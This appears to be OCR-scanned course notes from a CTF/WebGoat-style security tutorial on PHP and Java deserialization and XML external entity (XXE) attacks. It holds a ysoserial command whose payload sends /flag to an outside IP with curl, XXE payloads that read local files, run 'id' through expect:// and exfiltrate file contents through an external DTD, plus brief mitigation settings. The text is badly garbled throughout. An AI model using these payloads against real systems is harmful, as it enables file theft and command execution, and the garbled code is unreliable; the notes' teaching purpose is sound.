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<?php class FileHandler{ public $op="2";//op 15} & & $iAT 5 N A28 47 3B, iX BT Z L E public $filename="flag.php";//i
Fiflag.php public $content="xd";/iX/EEME, & H H3%FH# } $flag = new FileHandler(); $flag_1 = serialize($flag); echo $flag_1; ?>
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*FEF4k: **ObjectOutputStream3&—>writeObject()
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"password":"ctfhub_29588 13038",

"username": "ctfhub"
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{

"data": "Bearer rO@ABXNyABhjbiShym... (BEEEHNE) ,

”mSg": I’Z‘%’Ej‘ﬁﬁinJ",

"status": 2,

"timestamps": 1594549037415

}
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import base64
"rO@ABXNyABhjbi5hYm
base64.b64decode(a).encode( 'hex")

print(b)
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java -jar SerializationDumper.jar (base64jgHI%#E)
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java -jar ysoserial-master-30099844c6-1.jar ROME "curl http://47.75.212.155:4444 -d @/flag" > xiaodi.bin
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import base64

file = open("xiaodi.bin","rb")

now = file.read()

ba = base64.b64encode(now)
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ysoserial: https://github.com/frohoff/ysoserial

WebGoat: https://github.com/WebGoat/\WWebGoat

SerializationDumper: https://github.com/NickstaDB/SerializationDumper/tree/1.12
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PHP:
libxml_disable_entity loader(true);

JAVA:



DocumentBuilderFactory dbf = DocumentBuilderFactory.newlinstance();dbf.setExpandEntityReferences(false);
Python:

from Ixml import etreexmiData = etree.parse(xmISource,etree. XMLParser(resolve_entities=False))
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<?xml version = "1.0"?>

<!DOCTYPE ANY [

<IENTITY xxe SYSTEM "file:///d://test.txt">

1>

<KX>&XXE; < /X>
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<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE foo [

<IELEMENT foo ANY >

<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >

1>

<x>&rabbit;</x>
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<?xml version = "1.0"?>
< IDOCTYPE ANY [

<IENTITY xxe SYSTEM "expect://id" >

1>

<KX>&XXE; < /X>
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<?xml version="1.0" ?>
<IDOCTYPE test [
<IENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">

%file;

<IENTITY send SYSTEM "file:///d:/test.txt">
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<?xml version="1.0"?>
<IDOCTYPE test [
<IENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">

<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">

test.dtd:
<IENTITY % payload

"<IENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file; " '>"

%payload;

B ()

2% hitps://www.cnblogs.com/20175211lyz/p/11413335.htm




<?xml version = "1.0"?>

<IDOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>

<KX>&TF ;< /x>
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<?xml version="1.0"?>

< IDOCTYPE Mikasa [

<!ENTITY test SYSTEM "file:///d:/test.txt">

1>

<user><username>&test;</username><password>Mikasa</password></user>
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